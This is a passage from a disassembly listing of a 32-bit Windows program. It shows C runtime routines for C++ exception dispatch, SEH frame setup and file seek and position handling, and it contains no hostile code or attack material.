		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4227F8
		add	esp, 20h
		jmp	short loc_4227C8
; ---------------------------------------------------------------------------


loc_4227F3:				; CODE XREF: sub_422651+180j
		jmp	sub_422DFC
sub_422651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227F8	proc near		; CODE XREF: sub_422651+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBE70, 0
		push	esi
		push	edi
		jz	short loc_422829
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D3AA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42289C


loc_422829:				; CODE XREF: sub_4227F8+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	esi, eax


loc_422845:				; CODE XREF: sub_4227F8+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_42289C
		cmp	edi, [esi]
		jl	short loc_422894
		cmp	edi, [esi+4]
		jg	short loc_422894
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_42286E
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_422894


loc_42286E:				; CODE XREF: sub_4227F8+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_422894:				; CODE XREF: sub_4227F8+57j
					; sub_4227F8+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_422845
; ---------------------------------------------------------------------------


loc_42289C:				; CODE XREF: sub_4227F8+2Fj
					; sub_4227F8+53j
		pop	edi
		pop	esi
		leave
		retn
sub_4227F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_422651+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4228F7
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4228F7
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4228D1
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4228F3


loc_4228D1:				; CODE XREF: sub_4228A0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4228DB
		test	byte ptr [edi],	8
		jz	short loc_4228F3


loc_4228DB:				; CODE XREF: sub_4228A0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4228EA
		test	byte ptr [edi],	1
		jz	short loc_4228F3


loc_4228EA:				; CODE XREF: sub_4228A0+43j
		test	al, 2
		jz	short loc_4228F7
		test	byte ptr [edi],	2
		jnz	short loc_4228F7


loc_4228F3:				; CODE XREF: sub_4228A0+2Fj
					; sub_4228A0+39j ...
		xor	eax, eax
		jmp	short loc_4228FA
; ---------------------------------------------------------------------------


loc_4228F7:				; CODE XREF: sub_4228A0+Bj
					; sub_4228A0+14j ...
		push	1
		pop	eax


loc_4228FA:				; CODE XREF: sub_4228A0+55j
		pop	edi
		pop	esi
		retn
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228FD	proc near		; CODE XREF: sub_4225B6+34p
					; ___:004229F3p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42292F:				; CODE XREF: sub_4228FD+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_422989
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42293E
		cmp	esi, [edi+4]
		jl	short loc_422943


loc_42293E:				; CODE XREF: sub_4228FD+3Aj
		call	sub_422E52


loc_422943:				; CODE XREF: sub_4228FD+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_42295E
		push	103h
		push	ebx
		push	eax
		call	sub_422DB0


loc_42295E:				; CODE XREF: sub_4228FD+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42297E
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_42299B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_42297E:				; CODE XREF: sub_4228FD+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42292F
; ---------------------------------------------------------------------------


loc_422989:				; CODE XREF: sub_4228FD+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42299B	proc near		; CODE XREF: sub_4228FD+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4229AC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4229AC:				; CODE XREF: sub_42299B+Cj
		jmp	sub_422DFC
sub_42299B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229B1	proc near		; CODE XREF: sub_422651+151p
					; sub_4227F8+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4229D3
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422B62
		add	esp, 10h


loc_4229D3:				; CODE XREF: sub_4229B1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4229DF
		push	edi
		jmp	short loc_4229E2
; ---------------------------------------------------------------------------


loc_4229DF:				; CODE XREF: sub_4229B1+29j
		push	[ebp+arg_24]


loc_4229E2:				; CODE XREF: sub_4229B1+2Cj
		call	sub_41D2AC
sub_4229B1	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_4228FD
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_422A2C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422A27
		push	edi
		push	eax
		call	sub_41D26A


loc_422A27:				; CODE XREF: ___:00422A1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A2C	proc near		; CODE XREF: ___:00422A14p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DBE68
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBE6C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DBE68, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBE6C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D331
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422AF2
		mov	eax, [ebp+var_2C]


loc_422AB9:				; CODE XREF: sub_422AD2+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AC8	proc near		; DATA XREF: ___:004278C8o
		push	dword ptr [ebp-14h]
		call	sub_422B38
		pop	ecx
		retn
sub_422AC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; DATA XREF: ___:004278CCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D592
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422AB9
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AEA:				; DATA XREF: ___:004278C0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422AF2	proc near		; CODE XREF: sub_422A2C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DBE68, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBE6C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422B37
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422B37
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422B37
		cmp	[ebp-24h], ebx
		jnz	short locret_422B37
		cmp	[ebp-2Ch], ebx
		jz	short locret_422B37
		call	sub_41D5FA
		push	eax
		push	edi
		call	sub_422D26
		pop	ecx
		pop	ecx

locret_422B37:				; CODE XREF: sub_422AF2+1Cj
					; sub_422AF2+22j ...
		retn
sub_422AF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B38	proc near		; CODE XREF: sub_422AC8+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422B5F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422B5F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422B5F:				; CODE XREF: sub_422B38+Cj
					; sub_422B38+12j ...
		xor	eax, eax
		retn
sub_422B38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B62	proc near		; CODE XREF: sub_4229B1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_422D0B
		cmp	byte ptr [eax+8], 0
		jz	loc_422D0B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_422D0B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422BFF
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422BF0:				; CODE XREF: sub_422B62+F5j
		push	eax
		call	sub_422D8D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422D07
; ---------------------------------------------------------------------------


loc_422BFF:				; CODE XREF: sub_422B62+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_422C59
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422D07
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422D07
		add	esi, 8
		push	esi
		jmp	short loc_422BF0
; ---------------------------------------------------------------------------


loc_422C59:				; CODE XREF: sub_422B62+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422CA1
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CA1:				; CODE XREF: sub_422B62+103j
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+18h]
		call	sub_424FB8
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		test	byte ptr [esi],	4
		jz	short loc_422CE8
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D2A5
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CE8:				; CODE XREF: sub_422B62+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D29E
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422D02:				; CODE XREF: sub_422B62+6Aj
					; sub_422B62+7Cj ...
		call	sub_422E52


loc_422D07:				; CODE XREF: sub_422B62+98j
					; sub_422B62+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D0B:				; CODE XREF: sub_422B62+2Ej
					; sub_422B62+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422B62	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D26	proc near		; CODE XREF: sub_422651+170p
					; sub_422AF2+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422D6D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422D6D
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D29E
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D6D:				; CODE XREF: sub_422D26+2Aj
					; sub_422D26+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422D26	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_422D8D	proc near		; CODE XREF: sub_422B62+8Fp
					; sub_422B62+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422DAE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422DAE:				; CODE XREF: sub_422D8D+12j
		pop	esi
		retn
sub_422D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DB0	proc near		; CODE XREF: sub_41D331+40p
					; sub_4228FD+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D61D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_422DEF
		mov	ecx, 2


loc_422DEF:				; CODE XREF: sub_422DB0+38j
		push	ecx
		call	sub_41D61D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DFC	proc near		; CODE XREF: sub_422651:loc_4227F3j
					; sub_42299B:loc_4229ACj ...

var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBE74
		test	eax, eax
		jz	short loc_422E44
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_422E40
; ---------------------------------------------------------------------------


loc_422E39:				; DATA XREF: ___:00427900o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E3D:				; DATA XREF: ___:00427904o
		mov	esp, [ebp+var_18]


loc_422E40:				; CODE XREF: sub_422DFC+3Bj
		and	[ebp+var_4], 0


loc_422E44:				; CODE XREF: sub_422DFC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422E4D:				; DATA XREF: ___:004278F8o
		jmp	loc_424FD0
sub_422DFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E52	proc near		; CODE XREF: sub_41D4D3+23p
					; sub_41D4D3:loc_41D53Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43D444
		test	eax, eax
		jz	short loc_422E9A
		mov	[ebp+var_4], 1
		call	eax ; sub_422DFC
		jmp	short loc_422E96
; ---------------------------------------------------------------------------


loc_422E8F:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E93:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_422E96:				; CODE XREF: sub_422E52+3Bj
		and	[ebp+var_4], 0


loc_422E9A:				; CODE XREF: sub_422E52+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422EA3:				; DATA XREF: ___:00427910o
		jmp	sub_422DFC
sub_422E52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EA8	proc near		; CODE XREF: sub_41D9B3+7p
					; sub_41D9B3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DD388
		push	esi
		cmp	eax, 3
		jnz	short loc_422ED1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E717
		test	eax, eax
		pop	ecx
		jz	short loc_422ECE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422ECE:				; CODE XREF: sub_422EA8+1Cj
		push	esi
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED1:				; CODE XREF: sub_422EA8+Ej
		cmp	eax, 2
		jnz	short loc_422EF5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422EF5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EA8+2Cj
					; sub_422EA8+43j
		push	[ebp+arg_0]


loc_422EF8:				; CODE XREF: sub_422EA8+27j
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2650000h


loc_422F06:				; CODE XREF: sub_422EA8+24j
					; sub_422EA8+4Bj
		pop	esi
		leave
		retn
sub_422EA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F09	proc near		; CODE XREF: ___:0041DAF2p
					; sub_41F9BC+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DD140
		push	esi
		push	edi
		jnb	short loc_422F8B
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_422F8B
		push	eax
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422F4D
		mov	dword_4DBDDC, 9
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F4D:				; CODE XREF: sub_422F09+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 27711CFh
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422F6D
		call	near ptr 2680972h
		nop
		jmp	short loc_422F6F
; ---------------------------------------------------------------------------


loc_422F6D:				; CODE XREF: sub_422F09+5Aj
		xor	eax, eax


loc_422F6F:				; CODE XREF: sub_422F09+62j
		test	eax, eax
		jz	short loc_422F7C
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F7C:				; CODE XREF: sub_422F09+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_422F9F
; ---------------------------------------------------------------------------


loc_422F8B:				; CODE XREF: sub_422F09+Dj
					; sub_422F09+2Aj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_422F9C:				; CODE XREF: sub_422F09+42j
					; sub_422F09+71j
		or	eax, 0FFFFFFFFh


loc_422F9F:				; CODE XREF: sub_422F09+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422F09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FA3	proc near		; CODE XREF: ___:0041DAB5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422FBF
		mov	[edi+4], ebx


loc_422FBF:				; CODE XREF: sub_422FA3+17j
		push	1
		push	ebx
		push	esi
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42302D
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422FE4
		sub	eax, [edi+4]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_422FE4:				; CODE XREF: sub_422FA3+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_42301E
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DD040[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_423035
		mov	edx, ecx


loc_42300F:				; CODE XREF: sub_422FA3+79j
		cmp	edx, eax
		jnb	short loc_423035
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42301B
		inc	[ebp+var_8]


loc_42301B:				; CODE XREF: sub_422FA3+73j
		inc	edx
		jmp	short loc_42300F
; ---------------------------------------------------------------------------


loc_42301E:				; CODE XREF: sub_422FA3+50j
		test	dl, 80h
		jnz	short loc_423035
		mov	dword_4DBDDC, 16h


loc_42302D:				; CODE XREF: sub_422FA3+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423035:				; CODE XREF: sub_422FA3+68j
					; sub_422FA3+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_423043
		mov	eax, [ebp+var_8]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423043:				; CODE XREF: sub_422FA3+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_4230EE
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42305C
		and	[ebp+var_8], edx
		jmp	loc_4230EE
; ---------------------------------------------------------------------------


loc_42305C:				; CODE XREF: sub_422FA3+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
